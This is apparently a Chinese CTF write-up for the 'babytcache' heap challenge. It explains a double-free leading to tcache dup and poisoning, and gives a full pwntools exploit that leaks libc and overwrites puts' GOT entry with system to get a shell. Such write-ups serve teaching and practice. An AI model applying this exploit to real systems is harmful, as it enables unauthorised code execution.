原程序下载地址:http://file.eonew.cn/elf/babytcache,IDA分析文件下载地址:http://file.eonew.cn/ida/babytcache.i64。由于tcache是glibc-2.26以及之后的版本才有的,所以环境的版本至少是2.26或2.26以上,以下的测试结果全在glibc-2.27的环境。
目录
简介
该pwn题主要依赖于对tcache的检查不严密导致的溢出漏洞,因为检查不严,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。
程序功能介绍
int print_menu()
{
setbuf(stdout, 0LL);
signal(14, handler);
alarm(0x3Cu);
puts("NoteBook v0.1");
puts("1.add a note");
puts("2.delete a note");
puts("3.show a note");
return puts("4.exit");
}
主要是三个功能:增加笔记,删除笔记,显示笔记。
增加笔记
int add_note()
{
int v1; // ebx
if ( global_amount > 9 )
return puts("Full!");
printf("content:");
v1 = global_amount;
ptr[v1] = (char *)malloc(80uLL);
input((__int64)ptr[global_amount], 80u);
++global_amount;
return puts("Done.");
}
删除笔记
void delete_note()
{
int v0; // [rsp+Ch] [rbp-4h]
printf("index:");
v0 = get_number();
if ( v0 < global_amount )
free(ptr[v0]);
else
puts("out of range!");
}
显示笔记
int show_note()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
printf("index:");
v1 = get_number();
if ( v1 < global_amount )
result = puts(ptr[v1]);
else
result = puts("out of range!");
return result;
}
程序有一个ptr全局指针,用来存放note的。
程序有什么漏洞呢?
正如上面的代码所示,我们可以对一个chunk多次free,造成 cycliced list(详细解释:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-dup)。虽然可以使chunk成链,但是该怎么利用——我们可以进行多次malloc操作,也就是增加笔记的操作,在增加笔记的同时,程序允许我们对chunk进行输入字符,这样我们可以通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址(详细解释:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-poisoning)。
下面我用一段代码来演示一遍这个漏洞:
#include <stdio.h>
#include <stdlib.h>
int g = 1234;
int main()
{
int *a = malloc(8);
printf("g: 0x%016X\n", &g);
printf("a: 0x%016X\n", a);
free(a);
free(a);
printf("malloc(8): 0x%016X\n", malloc(8));
*(void **)a = &g;
printf("malloc(8): 0x%016X\n", malloc(8));
printf("malloc(8): 0x%016X\n", malloc(8));
return 0;
}
允许结果:
g: 0x000000001680C010
a: 0x0000000017054260
malloc(8): 0x0000000017054260
malloc(8): 0x0000000017054260
malloc(8): 0x000000001680C010
从上面的结果可以看到,在第三次malloc的时候,malloc到&g的地址,也就可以控制全局变量g了。
exploit思路
任意地址写
def write_in(addr,content):
# free三次
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
# 申请三次
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(addr) # 第一次
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('/bin/sh') # 第二次
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(content) # 第三次
sh.recvuntil('>')
如上所示,先申请三次,在释放三次,注意这里是申请三次,不然的话tcache->counts[tc_idx]的值会变成-1,而导致tcache无法再次使用了,第一次申请的时候将要修改的地址传入,第二次申请的时候tcache->entries[tc_idx]会变成第一次传入的地址,这时我们在传入"/bin/sh"(为了方便以后使用),第三次申请的就是第一次传入的地址,而且还可以对地址内存进行修改。
分为两步:泄露基地址,修改got表
泄露基地址
先控制ptr指针,将ptr指针修改为 __libc_start_main.got 的地址,然后使用程序的显示笔记函数即可泄露基地址。
# 将ptr的第2个地址修改为__libc_start_main的got地址
write_in(p64(ptr_addr_offset_8), p64(elf.got['__libc_start_main']))
# 打印地址
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1') # 第1个索引
temp = sh.recvuntil('\n')[:-1]
temp = temp + b'\x00' * (8 - len(temp))
__libc_start_main_addr = u64(temp)
log.success('__libc_start_main_addr: ' + hex(__libc_start_main_addr))
libc_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
sh.recvuntil('>')
修改got表
直接用该程序的任意写漏洞即可,将puts的got地址修改为system函数的地址,然后在调用显示笔记这个函数,由于我们前面就把参数"/bin/sh"写入到note中了,所以最后就相当于puts("/bin/sh")变成了system("/bin/sh")了。
# 将puts的got地址修改为system函数的地址
write_in(p64(elf.got['puts']), p64(system_addr))
# get shell
sh.sendline('3')
sh.sendline('0')
exploit脚本
#! /usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
file_path = './babytcache'
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_path)
elf = ELF(file_path)
ptr_addr_offset_8 = 0x6020E0 + 8
sh = process(file_path)
# gdb.attach(sh,'set $g = (char **)0x6020E0\nc')
sh.recvuntil('>')
log.info('__libc_start_main.got: ' + hex(elf.got['__libc_start_main']))
def write_in(addr, content):
# free三次
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')
sh.recvuntil('>')
# 申请三次
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(addr)
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('/bin/sh')
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(content)
sh.recvuntil('>')
# 申请一次
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('nothing')
sh.recvuntil('>')
# 将ptr的第2个地址修改为__libc_start_main的got地址
write_in(p64(ptr_addr_offset_8), p64(elf.got['__libc_start_main']))
# 打印地址
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1') # 第1个索引
temp = sh.recvuntil('\n')[:-1]
temp = temp + b'\x00' * (8 - len(temp))
__libc_start_main_addr = u64(temp)
log.success('__libc_start_main_addr: ' + hex(__libc_start_main_addr))
libc_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))
sh.recvuntil('>')
# 将puts的got地址修改为system函数的地址
write_in(p64(elf.got['puts']), p64(system_addr))
# get shell
sh.sendline('3')
sh.sendline('0')
sh.interactive()
最终效果
ex@Ex:~/test$ ./main.py
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/babytcache'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './babytcache': Done
[*] __libc_start_main.got: 0x602058
[+] __libc_start_main_addr: 0x7f361f279ab0
[+] libc_addr: 0x7f361f258000
[+] system_addr: 0x7f361f2a7440
[*] Switching to interactive mode
index:$ echo hello world
hello world
$
总结
该程序需要用到tcache poisoning和tcache dup来组合漏洞,通过这个题目可以更深刻的了解tcahce。